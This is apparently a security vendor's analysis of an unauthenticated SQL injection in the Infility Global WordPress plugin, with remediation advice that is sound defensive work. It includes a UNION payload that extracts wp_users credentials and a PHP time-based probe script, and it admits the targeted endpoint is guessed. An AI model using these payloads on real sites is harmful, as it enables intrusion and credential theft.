Atomic Edge analysis of CVE-2025-68865 (metadata-based):
This vulnerability is an unauthenticated SQL injection in the Infility Global WordPress plugin, affecting versions up to and including 2.14.49. The flaw allows attackers to inject arbitrary SQL commands into database queries, enabling data extraction from the site’s database without authentication. The CVSS 3.1 score of 7.5 (High) reflects its network-based attack vector and high impact on confidentiality.
Atomic Edge research identifies the root cause as insufficient input sanitization and a lack of prepared statements. The description states the plugin fails to properly escape user-supplied parameters and does not sufficiently prepare SQL queries. This is a direct manifestation of CWE-89. Without access to the source code, Atomic Edge infers the vulnerable code likely passes unsanitized user input directly into a SQL query string, possibly via a `$wpdb->query()` call or similar method, instead of using `$wpdb->prepare()`.
Exploitation likely occurs via a public-facing endpoint, such as a WordPress AJAX handler or a custom REST API endpoint registered by the plugin. An unauthenticated attacker can send a crafted HTTP request containing malicious SQL payloads in a specific parameter. A typical payload would use a UNION-based or time-based blind SQL injection technique, for example, appending `’ UNION SELECT user_login,user_pass FROM wp_users–` to extract administrator credentials. The exact action or endpoint name is not confirmed, but it is likely related to a plugin-specific AJAX action like `infility_global_action`.
Remediation requires implementing proper input validation and using parameterized queries. The fix must ensure all user input used in database operations is sanitized and escaped. In WordPress, the correct approach is to use the `$wpdb->prepare()` function for all SQL queries that incorporate variable data. Additionally, the plugin should implement capability checks or nonce verification on the affected endpoint to restrict access, though the primary fix is securing the SQL query construction.
The impact of successful exploitation is significant information disclosure. Attackers can extract sensitive data from the WordPress database, including hashed user passwords, personal information, and other confidential content stored by the Infility Global plugin or core WordPress tables. This can lead to credential stuffing attacks, site compromise, and data privacy violations.
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// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-68865 - Infility Global <= 2.14.49 - Unauthenticated SQL Injection
<?php
/**
* Proof of Concept for CVE-2025-68865.
* This script attempts to exploit an unauthenticated SQL Injection in the Infility Global plugin.
* The exact vulnerable endpoint and parameter are inferred from common WordPress plugin patterns.
* Assumptions:
* 1. The vulnerability is exposed via a WordPress AJAX handler (admin-ajax.php).
* 2. The AJAX action name is derived from the plugin slug ('infility_global').
* 3. The vulnerable parameter is named 'id' or a similar common identifier.
* 4. The SQL injection is error-based or UNION-based.
*/
$target_url = 'http://target-site.com';
// Common WordPress AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Infer the likely AJAX action name. The 'wp_ajax_nopriv_' prefix allows unauthenticated access.
// The action parameter value would be the suffix, e.g., 'infility_global_action'.
$inferred_action = 'infility_global_action';
// A basic time-based blind SQL injection payload to test for vulnerability.
// This payload uses a MySQL SLEEP command if the parameter is numeric.
$payload = "1' AND SLEEP(5)-- ";
// Prepare POST data
$post_data = array(
'action' => $inferred_action,
'id' => $payload // Assuming a common vulnerable parameter name
);
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Set a baseline timeout
// Measure response time to detect sleep-based injection
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
// Check for indication of successful injection
if ($elapsed > 5) {
echo "[+] Potential SQL Injection vulnerability detected. Response delayed by " . round($elapsed, 2) . " seconds.n";
echo "[+] The site may be vulnerable to CVE-2025-68865.n";
} else {
echo "[-] No time delay detected. The inferred endpoint/parameter may be incorrect, or the site may be patched.n";
echo "[-] Manual testing with different action names (e.g., 'infility_global', 'infility_action') and parameters is required.n";
}
?>
